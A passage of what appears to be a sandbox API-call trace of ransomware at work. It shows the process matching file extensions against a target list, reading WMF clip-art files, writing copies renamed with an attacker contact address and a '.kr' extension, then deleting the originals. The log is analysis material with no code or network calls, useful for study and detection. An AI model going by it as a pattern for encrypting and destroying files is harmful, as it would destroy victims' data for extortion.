(lpString=".ppt") returned 4 [0180.079] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0180.079] lstrlenW (lpString=".zip") returned 4 [0180.079] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.079] lstrlenW (lpString=".rar") returned 4 [0180.079] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.079] lstrlenW (lpString=".bz2") returned 4 [0180.080] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.080] lstrlenW (lpString=".7z") returned 3 [0180.080] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0180.080] lstrlenW (lpString=".dbf") returned 4 [0180.080] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0180.080] lstrlenW (lpString=".1cd") returned 4 [0180.080] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0180.080] lstrlenW (lpString=".jpg") returned 4 [0180.080] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0180.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0180.080] lstrlenW (lpString=".doc") returned 4 [0180.080] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.080] lstrlenW (lpString=".docx") returned 5 [0180.080] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.080] lstrlenW (lpString=".pdf") returned 4 [0180.080] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.080] lstrlenW (lpString=".xls") returned 4 [0180.080] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.080] lstrlenW (lpString=".xlsx") returned 5 [0180.080] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.080] lstrlenW (lpString=".ppt") returned 4 [0180.080] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0180.080] lstrlenW (lpString=".zip") returned 4 [0180.080] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.080] lstrlenW (lpString=".rar") returned 4 [0180.080] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.080] lstrlenW (lpString=".bz2") returned 4 [0180.080] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.081] lstrlenW (lpString=".7z") returned 3 [0180.081] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0180.081] lstrlenW (lpString=".dbf") returned 4 [0180.081] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0180.081] lstrlenW (lpString=".1cd") returned 4 [0180.081] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0180.081] lstrlenW (lpString=".jpg") returned 4 [0180.081] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.081] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0180.081] lstrlenW (lpString="BL00105_.WMF") returned 12 [0180.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0180.082] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=880) returned 1 [0180.082] CloseHandle (hObject=0x3fc) returned 1 [0180.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 0x220 [0180.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0180.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0180.082] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.082] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0180.083] GetLastError () returned 0x0 [0180.083] ReadFile (in: hFile=0x3fc, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x370, lpOverlapped=0x0) returned 1 [0180.084] WriteFile (in: hFile=0x458, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x380, lpOverlapped=0x0) returned 1 [0180.086] ReadFile (in: hFile=0x3fc, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.086] WriteFile (in: hFile=0x458, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.086] SetEndOfFile (hFile=0x458) returned 1 [0180.086] CloseHandle (hObject=0x458) returned 1 [0180.087] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.087] SetEndOfFile (hFile=0x3fc) returned 1 [0180.158] CloseHandle (hObject=0x3fc) returned 1 [0180.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0180.159] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 1 [0180.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0180.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0180.159] lstrlenW (lpString=".doc") returned 4 [0180.159] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.159] lstrlenW (lpString=".docx") returned 5 [0180.159] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.159] lstrlenW (lpString=".pdf") returned 4 [0180.160] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.160] lstrlenW (lpString=".xls") returned 4 [0180.160] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.160] lstrlenW (lpString=".xlsx") returned 5 [0180.160] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.160] lstrlenW (lpString=".ppt") returned 4 [0180.160] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0180.160] lstrlenW (lpString=".zip") returned 4 [0180.160] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.160] lstrlenW (lpString=".rar") returned 4 [0180.160] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.160] lstrlenW (lpString=".bz2") returned 4 [0180.160] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.160] lstrlenW (lpString=".7z") returned 3 [0180.160] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0180.160] lstrlenW (lpString=".dbf") returned 4 [0180.160] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0180.160] lstrlenW (lpString=".1cd") returned 4 [0180.160] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0180.160] lstrlenW (lpString=".jpg") returned 4 [0180.160] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0180.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0180.160] lstrlenW (lpString=".doc") returned 4 [0180.160] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.160] lstrlenW (lpString=".docx") returned 5 [0180.160] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.160] lstrlenW (lpString=".pdf") returned 4 [0180.161] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.161] lstrlenW (lpString=".xls") returned 4 [0180.161] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.161] lstrlenW (lpString=".xlsx") returned 5 [0180.161] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.161] lstrlenW (lpString=".ppt") returned 4 [0180.161] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0180.161] lstrlenW (lpString=".zip") returned 4 [0180.161] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.161] lstrlenW (lpString=".rar") returned 4 [0180.161] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.161] lstrlenW (lpString=".bz2") returned 4 [0180.161] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.161] lstrlenW (lpString=".7z") returned 3 [0180.161] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0180.161] lstrlenW (lpString=".dbf") returned 4 [0180.161] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0180.161] lstrlenW (lpString=".1cd") returned 4 [0180.161] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0180.161] lstrlenW (lpString=".jpg") returned 4 [0180.161] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.161] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0180.161] lstrlenW (lpString="BL00122_.WMF") returned 12 [0180.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0180.162] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=10146) returned 1 [0180.162] CloseHandle (hObject=0x3fc) returned 1 [0180.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 0x220 [0180.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0180.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0180.163] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.163] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0180.163] GetLastError () returned 0x0 [0180.163] ReadFile (in: hFile=0x3fc, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x27a2, lpOverlapped=0x0) returned 1 [0180.180] WriteFile (in: hFile=0x3f8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x27b0, lpOverlapped=0x0) returned 1 [0180.182] ReadFile (in: hFile=0x3fc, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.182] WriteFile (in: hFile=0x3f8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.182] SetEndOfFile (hFile=0x3f8) returned 1 [0180.182] CloseHandle (hObject=0x3f8) returned 1 [0180.183] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.183] SetEndOfFile (hFile=0x3fc) returned 1 [0180.186] CloseHandle (hObject=0x3fc) returned 1 [0180.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0180.186] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 1 [0180.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0180.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0180.187] lstrlenW (lpString=".doc") returned 4 [0180.187] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.187] lstrlenW (lpString=".docx") returned 5 [0180.187] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.187] lstrlenW (lpString=".pdf") returned 4 [0180.188] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.188] lstrlenW (lpString=".xls") returned 4 [0180.188] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.188] lstrlenW (lpString=".xlsx") returned 5 [0180.188] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.188] lstrlenW (lpString=".ppt") returned 4 [0180.188] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0180.188] lstrlenW (lpString=".zip") returned 4 [0180.188] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.188] lstrlenW (lpString=".rar") returned 4 [0180.188] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.188] lstrlenW (lpString=".bz2") returned 4 [0180.188] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.188] lstrlenW (lpString=".7z") returned 3 [0180.188] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0180.188] lstrlenW (lpString=".dbf") returned 4 [0180.188] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0180.188] lstrlenW (lpString=".1cd") returned 4 [0180.188] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0180.188] lstrlenW (lpString=".jpg") returned 4 [0180.188] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0180.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0180.188] lstrlenW (lpString=".doc") returned 4 [0180.188] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.188] lstrlenW (lpString=".docx") returned 5 [0180.188] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.188] lstrlenW (lpString=".pdf") returned 4 [0180.188] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.189] lstrlenW (lpString=".xls") returned 4 [0180.189] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.189] lstrlenW (lpString=".xlsx") returned 5 [0180.189] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.189] lstrlenW (lpString=".ppt") returned 4 [0180.189] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0180.189] lstrlenW (lpString=".zip") returned 4 [0180.189] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.189] lstrlenW (lpString=".rar") returned 4 [0180.189] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.189] lstrlenW (lpString=".bz2") returned 4 [0180.189] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.189] lstrlenW (lpString=".7z") returned 3 [0180.189] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0180.189] lstrlenW (lpString=".dbf") returned 4 [0180.189] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0180.189] lstrlenW (lpString=".1cd") returned 4 [0180.189] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0180.189] lstrlenW (lpString=".jpg") returned 4 [0180.189] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.189] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0180.189] lstrlenW (lpString="BL00130_.WMF") returned 12 [0180.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0180.194] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=1464) returned 1 [0180.194] CloseHandle (hObject=0x3f4) returned 1 [0180.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 0x220 [0180.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0180.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0180.195] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.195] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0180.196] GetLastError () returned 0x0 [0180.196] ReadFile (in: hFile=0x3f4, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x5b8, lpOverlapped=0x0) returned 1 [0180.197] WriteFile (in: hFile=0x3fc, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x5c0, lpOverlapped=0x0) returned 1 [0180.198] ReadFile (in: hFile=0x3f4, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.198] WriteFile (in: hFile=0x3fc, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.198] SetEndOfFile (hFile=0x3fc) returned 1 [0180.199] CloseHandle (hObject=0x3fc) returned 1 [0180.199] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.199] SetEndOfFile (hFile=0x3f4) returned 1 [0180.203] CloseHandle (hObject=0x3f4) returned 1 [0180.204] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0180.204] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 1 [0180.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0180.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0180.204] lstrlenW (lpString=".doc") returned 4 [0180.204] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.204] lstrlenW (lpString=".docx") returned 5 [0180.204] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.204] lstrlenW (lpString=".pdf") returned 4 [0180.204] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.204] lstrlenW (lpString=".xls") returned 4 [0180.205] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.205] lstrlenW (lpString=".xlsx") returned 5 [0180.205] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.205] lstrlenW (lpString=".ppt") returned 4 [0180.205] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0180.205] lstrlenW (lpString=".zip") returned 4 [0180.205] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.205] 